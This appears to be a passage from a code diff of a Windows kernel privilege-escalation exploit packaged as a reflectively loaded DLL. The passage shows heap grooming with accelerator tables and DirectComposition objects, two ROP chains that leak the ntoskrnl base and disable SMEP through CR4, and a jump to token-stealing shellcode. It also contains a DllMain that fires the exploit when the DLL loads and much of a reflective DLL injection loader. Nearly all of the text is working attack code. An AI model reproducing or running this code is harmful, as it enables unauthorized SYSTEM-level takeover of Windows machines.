hAccel = CreateAcceleratorTableA(lpAccel, 1);
pAccels[i] = hAccel;
}
// Create window handles, and store them.
pHwnds = (HWND *)VirtualAlloc((LPVOID)(HwndArrayBase), sizeof(HWND)* 1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
hThisInstance = GetModuleHandleA(NULL);
for (INT i = 0; i < 1000; i++) {
SecureZeroMemory(&windowClass, sizeof(WNDCLASSEXA));
wsprintfA(winClass, winClassFmt, i);
wsprintfA(winTitle, winTitleFmt, i);
windowClass.cbSize = sizeof(WNDCLASSEXA);
windowClass.style = CS_HREDRAW | CS_VREDRAW;
windowClass.lpfnWndProc = (WNDPROC)WndProc;
windowClass.hInstance = hThisInstance;
windowClass.hIcon = NULL;
windowClass.hCursor = NULL;
windowClass.hbrBackground = (HBRUSH)COLOR_WINDOW;
windowClass.lpszMenuName = NULL;
windowClass.lpszClassName = winClass;
classAtom = RegisterClassExA(&windowClass);
hWnd = CreateWindowEx(0, MAKEINTATOM(classAtom), winTitle, WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, hThisInstance, NULL);
if (hWnd) {
pHwnds[i] = hWnd;
}
else {
break;
}
}
// Create holes in the series of accelerator tables.
for (INT i = 3600; i < 4600; i += 2) {
DestroyAcceleratorTable(pAccels[i]);
}
// Fill the holes with with DCompositionHwndTarget(s).
// (at this point we have a series of alternating DCompositionHwndTarget objects)
for (INT i = 0; i < 500; i++) {
MyCreateDCompositionHwndTarget(pHwnds[i], 0, DcomArrayBase + i * 4);
}
// Create "adjacent" holes (to the previous holes) in the series of
// accelerator tables.
for (INT i = 3601; i < 4601; i += 2) {
DestroyAcceleratorTable(pAccels[i]);
}
// Fill the holes with with DCompositionHwndTarget(s).
// (at this point we have a contiguous series of DCompositionHwndTarget objects)
for (INT i = 500; i < 1000; i++) {
MyCreateDCompositionHwndTarget(pHwnds[i], 0, DcomArrayBase + i * 4);
}
// Create some holes in the contiguous series of DCompositionHwndTarget objects,
// that we insert the vulnerable object into.
for (INT i = 400; i < 405; i++) {
MyDestroyDCompositionHwndTarget(pHwnds[i], 0);
}
}
// Clean up for the heap fengshui performed earlier (for cleanliness, reliability).
VOID ExpoiterCleanUp() {
for (INT i = 0; i < 5000; i++) {
DestroyAcceleratorTable(pAccels[i]);
}
}
// Setup stack pivot and adjustment, also the ROP chain 1 to etrieve base address
// of `ntoskrnl`.
VOID ExploiterSetupFirstChain(ULONGLONG win32kBaseAddr) {
// Stack pivot and adjustment.
//
// IMPORTANT NOTE.
//
// This vTable is actually accessed twice as part of the code flow.
// The first access is to the 2nd method in the vTable, at [RAX+8] (*).
// The second access is to the 1st method in the vTable, at [RAX] (**).
//
// (*) First access
//
// As mentioned, in the code flow, there is a CALL [RAX+8], where RAX is the
// address of the fake vTable (0x42005000).
//
// The call places us at [0x42005000+8], which is the xchg instruction
// (stack pivot). At this point after the xchg, RSP is pointing to 0x42005000.
// The next instruction of the gadget is RET, which will exec. POP RAX.
// This sequence (RET + POP) shifts RSP by a total of 16 bytes, which is the
// start of ROP chain 1.
//
*(ULONGLONG *)(PayloadBase + 0x5000) = win32kBaseAddr + win32kPopRaxRet; // pop rax # ret <-- RAX
*(ULONGLONG *)(PayloadBase + 0x5008) = win32kBaseAddr + win32kXchgRaxRsp; // xchg rax, rsp # ret (pivot) <-- this is where (1st) CALL jumps to.
//
// --- End stack pivot and adjustment ---
// ROP chain 1: Retrieve base address of `ntoskrnl`.
//
// When ROP chain 1 exits, RBX will hold the address of the our
// (fake) vTable. And 0x42000100 will hold the (leaked) address of
// `ntoskrnl!ExAllocatePoolWithTag`.
//
*(ULONGLONG *)(PayloadBase + 0x5010) = win32kBaseAddr + win32kPopRaxRet; // pop rax # ret (RAX is source for our write)
*(ULONGLONG *)(PayloadBase + 0x5018) = win32kBaseAddr + win32kExAllocatePoolWithTag; // pop into rax (pointer to leaked address of `ntoskrnl!ExAllocatePoolWithTag` that win32k imports)
*(ULONGLONG *)(PayloadBase + 0x5020) = win32kBaseAddr + win32kPopRcxRet; // pop rcx # ret (RCX is destination for our write)
*(ULONGLONG *)(PayloadBase + 0x5028) = PayloadBase + 0x100; // pop into rcx (memory to write leaked address)
*(ULONGLONG *)(PayloadBase + 0x5030) = win32kBaseAddr + win32kDefRaxIntoRcx; // mov rax, [rax] # mov [rcx], rax # ret (write gadget to [RCX])
// (**) Second access
//
// The second time the vTable is accessed (described above), it will
// try to execute `POP RAX # RET`, which is undesirable. Hence, as part of
// the *first* ROP chain, we override the vTable again, so that the second
// access to it will be okay.
//
// When the code flow resumes after ROP chain 1 ends, the code will
// use *RBX for its second access to the vTable. Hence, we want to
// place our own value into RBX. Therefore, we `POP RBX`, which places
// 0x42005100 into RBX. 0x42005100 is yet another (unused) memory
// region that we control. We will construct a new fake vTable at 0x42005100.
//
*(ULONGLONG *)(PayloadBase + 0x5038) = win32kBaseAddr + win32kPopRbxRet; // pop rbx # ret
*(ULONGLONG *)(PayloadBase + 0x5040) = PayloadBase + 0x5100; // this will clobber the existing vTable object pointer (RBX) -------------------------------
// |
// Setup the new fake vTable at 0x42005100. We don't do anything interesting |
// with the second call. We just want it to return nicely. |
*(ULONGLONG *)(PayloadBase + 0x5100) = PayloadBase + 0x5110; // double-dereference to get to gadget (actual ROP chain |
*(ULONGLONG *)(PayloadBase + 0x5108) = PayloadBase + 0x5110; // (arbitrary pointer to pointer) continues here) |
*(ULONGLONG *)(PayloadBase + 0x5110) = win32kBaseAddr + win32kRet; // (`RET` gadget) |
// |
// Resume execution. Restore original stack pointer. |
*(ULONGLONG *)(PayloadBase + 0x5048) = win32kBaseAddr + win32kMovRaxR11Ret; // mov rax, r11 # ret (register holding a value close to original stack pointer) <-
*(ULONGLONG *)(PayloadBase + 0x5050) = win32kBaseAddr + win32kPopRcxRet; // pop rcx # ret
*(ULONGLONG *)(PayloadBase + 0x5058) = 0x8; // pop into rcx
*(ULONGLONG *)(PayloadBase + 0x5060) = win32kBaseAddr + win32kAddRaxRcxRet; // add rax, rcx # ret (adjust the stack pointer)
*(ULONGLONG *)(PayloadBase + 0x5068) = win32kBaseAddr + win32kPopRcxRet; // pop rcx # ret
*(ULONGLONG *)(PayloadBase + 0x5070) = PayloadBase + 0x5088; // pop into rcx
*(ULONGLONG *)(PayloadBase + 0x5078) = win32kBaseAddr + win32kWriteRaxIntoRcx; // mov [rcx], rax # ret (write gadget to [RCX])--
*(ULONGLONG *)(PayloadBase + 0x5080) = win32kBaseAddr + win32kPopEspRet; // pop rsp # ret |
//*(ULONGLONG *)(PayloadBase + 0x5088) <----------------------------------------------------------------------------------------
}
// Setup the ROP chain 2, Disable SMEP and return to token stealing shellcode.
// Now we reset the values in our fake vTable (0x42005000), with a new
// ROP chain. This gets called later in the second trigger.
VOID ExploiterSetupSecondChain(ULONGLONG win32kBaseAddr, ULONGLONG ntBaseAddr) {
*(ULONGLONG *)(PayloadBase + 0x5000) = win32kBaseAddr + win32kXchgRaxRspAdjust; // xchg eax, esp # sbb al, 0 # mov eax, ebx # add rsp, 0x20 # pop rbx # ret
*(ULONGLONG *)(PayloadBase + 0x5008) = win32kBaseAddr + win32kRet; // filler
*(ULONGLONG *)(PayloadBase + 0x5010) = win32kBaseAddr + win32kRet; // filler
*(ULONGLONG *)(PayloadBase + 0x5018) = win32kBaseAddr + win32kRet; // filler
*(ULONGLONG *)(PayloadBase + 0x5020) = win32kBaseAddr + win32kRet; // filler
*(ULONGLONG *)(PayloadBase + 0x5028) = win32kBaseAddr + win32kPopRaxRet; // pop rax # ret
*(ULONGLONG *)(PayloadBase + 0x5030) = 0x406f8; // pop into rax, cr4 value
*(ULONGLONG *)(PayloadBase + 0x5038) = ntBaseAddr + ntSetCr4; // mov cr4, rax # add rsp, 0x28 # ret (SMEP disabling gadget)
*(ULONGLONG *)(PayloadBase + 0x5040) = win32kBaseAddr + win32kRet; // filler
*(ULONGLONG *)(PayloadBase + 0x5048) = win32kBaseAddr + win32kRet; // filler
*(ULONGLONG *)(PayloadBase + 0x5050) = win32kBaseAddr + win32kRet; // filler
*(ULONGLONG *)(PayloadBase + 0x5058) = win32kBaseAddr + win32kRet; // filler
*(ULONGLONG *)(PayloadBase + 0x5060) = win32kBaseAddr + win32kRet; // filler
*(ULONGLONG *)(PayloadBase + 0x5068) = PayloadBase; // return to userland and win!
*(ULONGLONG *)(PayloadBase + 0x5070) = win32kBaseAddr + win32kCHwndDelete; // CHwndTargetProp::Delete(void)
}
// First trigger (ROP chain 1)
//
// When `DestroyDCompositionHwndTarget` is called, it will destroy the object
// by calling its destructor, which will make use of the overwritten vTable
// pointer. This, we abuse, to call ROP chain 1. ROP chain 1 leaks the address
// of `ntoskrnl!ExAllocatePoolWithTag`.
VOID ExploiterRunFirstChain() {
for (INT i = 0; i < 1000; i++) {
MyDestroyDCompositionHwndTarget(pHwnds[i], 0);
}
}
// Second trigger (ROP chain 2)
//
// When `DestroyWindow` is called, it will attempt to find any dangling
// references to the window. Because the "first trigger" did not properly
// destroy the `DCompositionHwndTarget` object (which has a reference to
// the window), `DestroyWindow` will try, again, to call the destructor
// for the `DCompositionHwndTarget` object. Hence, the same destructor is
// called. But because we have already re-setup the vTable, it calls
// ROP chain 2.
VOID ExploiterRunSecondChain() {
for (INT i = 0; i < 1000; i++) {
DestroyWindow(pHwnds[i]);
}
}
// Compute actual base address of `ntoskrnl` from `ntoskrnl!ExAllocatePoolWithTag`.
ULONGLONG ExploiterGetNtBase() {
return *(ULONGLONG *)(PayloadBase + 0x100) - ntExAllocatePoolWithTag;
}

View File

@ -0,0 +1,12 @@
#ifndef EXPLOITER_H
#define EXPLOITER_H
VOID ExploiterInit();
VOID ExploiterDoFengShui();
VOID ExploiterSetupFirstChain(ULONGLONG);
VOID ExploiterSetupSecondChain(ULONGLONG, ULONGLONG);
VOID ExploiterRunFirstChain();
VOID ExploiterRunSecondChain();
VOID ExpoiterCleanUp();
ULONGLONG ExploiterGetNtBase();
#endif

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,5 @@
#ifndef FONTDATA_H
#define FONTDATA_H
extern const UCHAR fontData[785196];
#endif

View File

@ -0,0 +1,10 @@
.code
MyGetTextMetricsW PROC
mov r10, rcx
mov eax, 4214
syscall
ret
MyGetTextMetricsW ENDP
END

View File

@ -0,0 +1,35 @@
//===============================================================================================//
// This is a stub for the actuall functionality of the DLL.
//===============================================================================================//
#include "ReflectiveLoader.h"
// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own
// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c)
extern HINSTANCE hAppInstance;
//===============================================================================================//
#include "Exploit.h"
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
BOOL bReturnValue = TRUE;
switch( dwReason )
{
case DLL_QUERY_HMODULE:
if( lpReserved != NULL )
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
Exploit(lpReserved);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}

View File

@ -0,0 +1,599 @@
//===============================================================================================//
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "ReflectiveLoader.h"
//===============================================================================================//
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
HINSTANCE hAppInstance = NULL;
//===============================================================================================//
#pragma intrinsic( _ReturnAddress )
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
// available (and no inline asm available under x64).
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }
//===============================================================================================//
#ifdef ENABLE_OUTPUTDEBUGSTRING
#define OUTPUTDBG(str) pOutputDebug((LPCSTR)str)
#else /* ENABLE_OUTPUTDEBUGSTRING */
#define OUTPUTDBG(str) do{}while(0)
#endif
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
// otherwise the DllMain at the end of this file will be used.
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
// This is our position independent reflective DLL loader/injector
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
#else
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID )
#endif
{
// the functions we need
LOADLIBRARYA pLoadLibraryA = NULL;
GETPROCADDRESS pGetProcAddress = NULL;
VIRTUALALLOC pVirtualAlloc = NULL;
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
#ifdef ENABLE_STOPPAGING
VIRTUALLOCK pVirtualLock = NULL;
#endif
#ifdef ENABLE_OUTPUTDEBUGSTRING
OUTPUTDEBUG pOutputDebug = NULL;
#endif
USHORT usCounter;
// the initial location of this image in memory
ULONG_PTR uiLibraryAddress;
// the kernels base address and later this images newly loaded base address
ULONG_PTR uiBaseAddress;
// variables for processing the kernels export table
ULONG_PTR uiAddressArray;
ULONG_PTR uiNameArray;
ULONG_PTR uiExportDir;
ULONG_PTR uiNameOrdinals;
DWORD dwHashValue;
// variables for loading this image
ULONG_PTR uiHeaderValue;
ULONG_PTR uiValueA;
ULONG_PTR uiValueB;
ULONG_PTR uiValueC;
ULONG_PTR uiValueD;
ULONG_PTR uiValueE;
// STEP 0: calculate our images current base address
// we will start searching backwards from our callers return address.
uiLibraryAddress = caller();
// loop through memory backwards searching for our images base address
// we dont need SEH style search as we shouldnt generate any access violations with this
while( TRUE )
{
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
{
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
{
uiHeaderValue += uiLibraryAddress;
// break if we have found a valid MZ/PE header
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
break;
}
}
uiLibraryAddress--;
}
// STEP 1: process the kernels exports for the functions our loader needs...
// get the Process Enviroment Block
#ifdef _WIN64
uiBaseAddress = __readgsqword( 0x60 );
#else
#ifdef WIN_ARM
uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
#else _WIN32
uiBaseAddress = __readfsdword( 0x30 );
#endif
#endif
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
// get the first entry of the InMemoryOrder module list
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while( uiValueA )
{
// get pointer to current modules name (unicode string)
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
// set bCounter to the length for the loop
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
// clear uiValueC which will store the hash of the module name
uiValueC = 0;
// compute the hash of the module name...
do
{
uiValueC = ror( (DWORD)uiValueC );
// normalize to uppercase if the module name is in lowercase
if( *((BYTE *)uiValueB) >= 'a' )
uiValueC += *((BYTE *)uiValueB) - 0x20;
else
uiValueC += *((BYTE *)uiValueB);
uiValueB++;
} while( --usCounter );
// compare the hash with that of kernel32.dll
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of name pointers
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
// get the VA for the array of name ordinals
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 3;
#ifdef ENABLE_STOPPAGING
usCounter++;
#endif
#ifdef ENABLE_OUTPUTDEBUGSTRING
usCounter++;
#endif
// loop while we still have imports to find
while( usCounter > 0 )
{
// compute the hash values for this function name
dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
// if we have found a function we want we get its virtual address
if( dwHashValue == LOADLIBRARYA_HASH
|| dwHashValue == GETPROCADDRESS_HASH
|| dwHashValue == VIRTUALALLOC_HASH
#ifdef ENABLE_STOPPAGING
|| dwHashValue == VIRTUALLOCK_HASH
#endif
#ifdef ENABLE_OUTPUTDEBUGSTRING
|| dwHashValue == OUTPUTDEBUG_HASH
#endif
)
{
// get the VA for the array of addresses
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// store this functions VA
if( dwHashValue == LOADLIBRARYA_HASH )
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == GETPROCADDRESS_HASH )
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == VIRTUALALLOC_HASH )
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
#ifdef ENABLE_STOPPAGING
else if( dwHashValue == VIRTUALLOCK_HASH )
pVirtualLock = (VIRTUALLOCK)( uiBaseAddress + DEREF_32( uiAddressArray ) );
#endif
#ifdef ENABLE_OUTPUTDEBUGSTRING
else if( dwHashValue == OUTPUTDEBUG_HASH )
pOutputDebug = (OUTPUTDEBUG)( uiBaseAddress + DEREF_32( uiAddressArray ) );
#endif
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
else if( (DWORD)uiValueC == NTDLLDLL_HASH )
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of name pointers
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
// get the VA for the array of name ordinals
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 1;
// loop while we still have imports to find
while( usCounter > 0 )
{
// compute the hash values for this function name
dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
// if we have found a function we want we get its virtual address
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
{
// get the VA for the array of addresses
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// store this functions VA
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
// we stop searching when we have found everything we need.
if( pLoadLibraryA
&& pGetProcAddress
&& pVirtualAlloc
#ifdef ENABLE_STOPPAGING
&& pVirtualLock
#endif
&& pNtFlushInstructionCache
#ifdef ENABLE_OUTPUTDEBUGSTRING
&& pOutputDebug
#endif
)
break;
// get the next entry
uiValueA = DEREF( uiValueA );
}
// STEP 2: load our image into a new permanent location in memory...
// get the VA of the NT Header for the PE to be loaded
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
#ifdef ENABLE_STOPPAGING
// prevent our image from being swapped to the pagefile
pVirtualLock((LPVOID)uiBaseAddress, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage);
#endif
// we must now copy over the headers
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;
while( uiValueA-- )
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
// STEP 3: load in all of our sections...
// uiValueA = the VA of the first section
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
// itterate through all sections, loading them into memory.
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while( uiValueE-- )
{
// uiValueB is the VA for this section
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
// uiValueC if the VA for this sections data
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
// copy the section over
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
while( uiValueD-- )
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
// get the VA of the next section
uiValueA += sizeof( IMAGE_SECTION_HEADER );
}
// STEP 4: process our images import table...
// uiValueB = the address of the import directory
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
// we assume there is an import table to process
// uiValueC is the first entry in the import table
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// iterate through all imports until a null RVA is found (Characteristics is mis-named)
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics )
{
OUTPUTDBG("Loading library: ");
OUTPUTDBG((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
OUTPUTDBG("\n");
// use LoadLibraryA to load the imported module into memory
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
if ( !uiLibraryAddress )
{
OUTPUTDBG("Loading library FAILED\n");
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
continue;
}
// uiValueD = VA of the OriginalFirstThunk
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
// itterate through all imported functions, importing by ordinal if no name present
while( DEREF(uiValueA) )
{
// sanity check uiValueD as some compilers only import by FirstThunk
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
{
// get the VA of the modules NT Header
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of addresses
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use the import ordinal (- export ordinal base) as an index into the array of addresses
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
// patch in the address for this imported function
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
}
else
{
// get the VA of this functions import by name struct
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
OUTPUTDBG("Resolving function: ");
OUTPUTDBG(((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
OUTPUTDBG("\n");
// use GetProcAddress and patch in the address for this imported function
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
}
// get the next imported function
uiValueA += sizeof( ULONG_PTR );
if( uiValueD )
uiValueD += sizeof( ULONG_PTR );
}
// get the next import
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
}
// STEP 5: process all of our images relocations...
// calculate the base address delta and perform relocations (even if we load at desired image base)
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
// uiValueB = the address of the relocation directory
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
// check if their are any relocations present
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// and we itterate through all entries...
while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
{
// uiValueA = the VA for this relocation block
uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
// uiValueB = number of entries in this relocation block
uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
// uiValueD is now the first entry in the current relocation block
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
// we itterate through all the entries in the current block...
while( uiValueB-- )
{
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
// we dont use a switch statement to avoid the compiler building a jump table
